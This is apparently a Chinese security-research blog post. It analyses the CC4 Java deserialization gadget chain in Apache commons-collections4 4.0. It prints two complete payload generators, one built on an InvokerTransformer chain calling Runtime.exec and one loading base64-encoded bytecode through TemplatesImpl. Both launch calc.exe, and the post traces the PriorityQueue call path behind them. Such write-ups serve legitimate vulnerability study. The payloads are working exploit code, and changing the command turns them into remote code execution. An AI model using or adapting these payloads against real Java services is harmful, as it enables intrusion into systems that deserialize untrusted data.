java反序列化–cc4
本文最后更新于 11 天前,其中的信息可能已经过时,如有 错误/失效 请发送邮件到xiaoc1737938763@gmail.com或留言。

环境:jdk8u65;commons-collections4.0

影响版本:几乎覆盖了jdk1.8所有版本(在未启用jdk.serialFilter的情况下),我目前尝试了jdk8u401是可以执行的

<dependency>
   <groupId>org.apache.commons</groupId>
   <artifactId>commons-collections4</artifactId>
   <version>4.0</version>
</dependency>

commons-collections库有两个版本,一个3.x,一个4.x。cc1,cc6等等这些在commons-collections3库中可以利用的链子,在commons-collections4也可以用,修改一下函数就行。同时,commons-collections4.0出现了两条新的利用链,cc2和cc4,两者其实差不多,但无法在commons-collections3中使用。

cc4可以通过transformer数组触发命令执行也可以通过字节码加载的方式触发代码执行。先介绍transformer数组这条链。

cc4(transformer)

payload

package commonscollections4;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;


public class CC4 {
   public static void setFieldValue(Object obj, String fieldName, Object
           value) throws Exception {
       Field field = obj.getClass().getDeclaredField(fieldName);
       field.setAccessible(true);
       field.set(obj, value);
  }
   public static void main(String[] args) throws Exception {
       Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
       Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),
               new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
               new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }),
               new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),};
       Transformer transformerChain = new ChainedTransformer(fakeTransformers);
       Comparator comparator = new TransformingComparator(transformerChain);
       PriorityQueue queue = new PriorityQueue(2, comparator);
       queue.add(1);
       queue.add(2);
       setFieldValue(transformerChain, "iTransformers", transformers);

       ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
       out.writeObject(queue);
       out.close();

       ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
       in.readObject();
       in.close();
  }
}

cc4(transformer)这条链从ChainedTransformer.transform()往后不再赘述,cc1和cc6中都有提到,这里主要研究之前的链子。

TransformingComparator.compare()

跟进payload中的TransformingComparator构造方法,方法中再次调用了另一个构造函数,该方法将传入的transformer字段进行赋值,因此如果能调用compare方法,就能够调用到ChainedTransformer.transform()

PriorityQueue.siftDownUsingComparator()

跟进该类的构造函数,将comparator字段进行赋值,为TransformingComparator对象

找到siftDownUsingComparator方法,可以看到两个if中都调用了comparator.compare,不用担心调用的问题

PriorityQueue.siftDown()

找到siftDown()方法,可以看到当comparator != null时,调用siftDownUsingComparator()

private void siftDown(int k, E x) {
   if (comparator != null)
       siftDownUsingComparator(k, x);
   else
       siftDownComparable(k, x);
}

PriorityQueue.heapify()

heapify()方法中的for循环调用了siftDown()方法

private void heapify() {
   for (int i = (size >>> 1) - 1; i >= 0; i--)
           siftDown(i, (E) queue[i]);
}

PriorityQueue.readObject()

正好readObject()方法调用了heapify(),整条cc4结束,最后代码中的queue.add方法是向优先队列中添加两个元素,使其能够进行比较`

private void readObject(java.io.ObjectInputStream s)
   throws java.io.IOException, ClassNotFoundException {
   s.defaultReadObject();
   s.readInt();
   queue = new Object[size];
   for (int i = 0; i < size; i++)
       queue[i] = s.readObject();
   heapify();
}

gadget

PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
invokerTransform()
Runtime.getRuntime().exec()

cc4(TemplatesImpl)

payload

package commonscollections4;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class CC4TemplatesImpl {
   public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
       Field field = obj.getClass().getDeclaredField(fieldName);
       field.setAccessible(true);
       field.set(obj, value);
  }

   public static void main(String[] args) throws Exception {
       byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABVDYWxjVGVtcGxhdGVJbXBsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEAI0J5dGVzQ29kZUdlbmVyYXRvci9DYWxjVGVtcGxhdGVJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAQAAQAEQANABIACwAAAAQAAQAQAAEAEQAAAAIAEg==");
       TemplatesImpl obj = new TemplatesImpl();
       setFieldValue(obj, "_bytecodes", new byte[][]{code});
       setFieldValue(obj, "_name", "HelloTemplatesImpl");
       setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

       Transformer[] transformers = new Transformer[]{
               new ConstantTransformer(TrAXFilter.class),
               new InstantiateTransformer(
                       new Class[] { Templates.class },
                       new Object[] { obj })
      };

       Transformer chainedTransformer = new ChainedTransformer(transformers);

       Comparator comparator = new TransformingComparator(chainedTransformer);
       PriorityQueue queue = new PriorityQueue(2, comparator);
       queue.add(1);
       queue.add(2);
       setFieldValue(chainedTransformer, "iTransformers", transformers);

       ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
       out.writeObject(queue);
       out.close();

       ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
       in.readObject();
       in.close();
  }
}

cc4(TemplatesImpl)这条链和cc3在ChainedTransformer.transform()后半段是相同的,和cc4在TransformingComparator.compare()前半段是相同的,所以这条链可以说是cc3+cc4的变种,只是将TemplatesImpl字节码加载融入进了cc4

gadget

直接给出gadget

PriorityQueue.readObject()
  PriorityQueue.heapify()
     PriorityQueue.siftDown()
        PriorityQueue.siftDownUsingComparator()
           TransformingComparator.compare()
              ChainedTransformer.transform()
                 InstantiateTransformer.transform()
                    TrAXFilter.TrAXFilter()
                        TemplatesImpl.newTransformer()
                           TemplatesImpl.getTransletInstance()
                             TemplatesImpl.defineTransletClasses()
                                TransletClassLoader.defineClass()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇